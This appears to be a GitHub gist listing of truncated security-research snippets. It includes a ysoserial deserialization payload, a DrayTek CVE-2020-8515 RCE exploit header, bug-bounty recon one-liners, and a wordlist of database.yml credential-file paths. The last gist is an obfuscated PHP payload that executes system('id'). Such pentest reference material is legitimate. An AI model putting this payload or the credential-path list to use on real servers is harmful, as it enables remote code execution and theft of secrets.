elamaran619

The criteria I used to rank: 

1. The level of complexity of the research. (How hard for me to do the same research?)
2. The usefulness of the research to other security researchers.
3. Novelty, scale of exploitation and impact

Top candidates

1. Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization 
2. https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf

elamaran619

/*
 
TRACER.js 
 
Trace the execution path of the client-side code as it executes 
(super helpful in large client-side codebase esp for new members in the team).

This tool can be helpful :
      - to trace the code path for a corresponding UI action in the web app.
      - to trace the code path when a global event occured (like resize browser window).

elamaran619

# Gist of the Day: Turbo Intruder Cluster Bomb with SmartFiltering
# Author: Evan Custodio (@defparam)
#
# MIT License
# Copyright 2021 Evan Custodio
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
#

elamaran619

package ysoserial.payloads;

import com.mchange.lang.ByteUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;

elamaran619

package main


/*
CVE-2020-8515: DrayTek pre-auth remote root RCE

Mon Mar 30 2020 -  0xsha.io


Affected:

elamaran619

<?php

//php gd-gif.php image.gif gd-image.gif 

$gif = imagecreatefromgif($argv[1]);
imagegif($gif, $argv[2]);
imagedestroy($gif);
?>

elamaran619

curl -s "http://web.archive.org/cdx/search/cdx?url=*.bugcrowd.com/*&output=text&fl=original&collapse=urlkey" | grep -P "=" | sed  "/\b\(jpg\|png\|js\|svg\|css\|gif\|jpeg\|woff\|woff2\)\b/d" > Output.txt ; for i in $(cat Output.txt);do  URL="${i}"; LIST=(${URL//[=&]/=FUZZ&}); echo ${LIST} | awk -F'=' -vOFS='=' '{$NF="FUZZ"}1;' >> Passive_Collecting_URLParamter.txt ; done ; rm Output.txt ; sort -u  Passive_Collecting_URLParamter.txt > Passive_Collecting_URLParamter_Uniq.txt

elamaran619

curl -L -k -s https://www.example.com | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?\s*[=:]\s*['\"]?[^'\"]+.js[^'\"> ]*" | awk -F '//' '{if(length($2))print "https://"$2}' | sort -fu | xargs -I '%' sh -c "curl -k -s \"%\" | sed \"s/[;}\)>]/\n/g\" | grep -Po \"(['\\\"](https?:)?[/]{1,2}[^'\\\"> ]{5,})|(\.(get|post|ajax|load)\s*\(\s*['\\\"](https?:)?[/]{1,2}[^'\\\"> ]{5,})\"" | awk -F "['\"]" '{print $2}' | sort -fu

# using linkfinder
function ejs() {
   URL=$1;
   curl -Lks $URL | tac | sed "s#\\\/#\/#g" | egrep -o "src['\"]?\s*[=:]\s*['\"]?[^'\"]+.js[^'\"> ]*" | sed -r "s/^src['\"]?[=:]['\"]//g" | awk -v url=$URL '{if(length($1)) if($1 ~/^http/) print $1; else if($1 ~/^\/\//) print "https:"$1; else print url"/"$1}' | sort -fu | xargs -I '%' sh -c "echo \"\n##### %\";wget --no-check-certificate --quiet \"%\"; basename \"%\" | xargs -I \"#\" sh -c 'linkfinder.py -o cli -i #'"
}

# with file download (the new best one):
# but there is a bug if you don't provide a root url

elamaran619

database.yml
database.yml_original
database.yml~
database.yml.pgsql
database.yml.sqlite3
config/database.yml
config/database.yml_original
config/database.yml~
config/database.yml.pgsql
config/database.yml.sqlite3

elamaran619

/* system(id) */
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>


<!-- 
  Explanation:
    - Some of the characters might look like alphanumeric, but they are Unicode characters.
    - 'ArrayΦ' <-> [].Φ
    - 1 <-> ![]
    - 'a' <-> ([].Φ)[![]+![]+![]]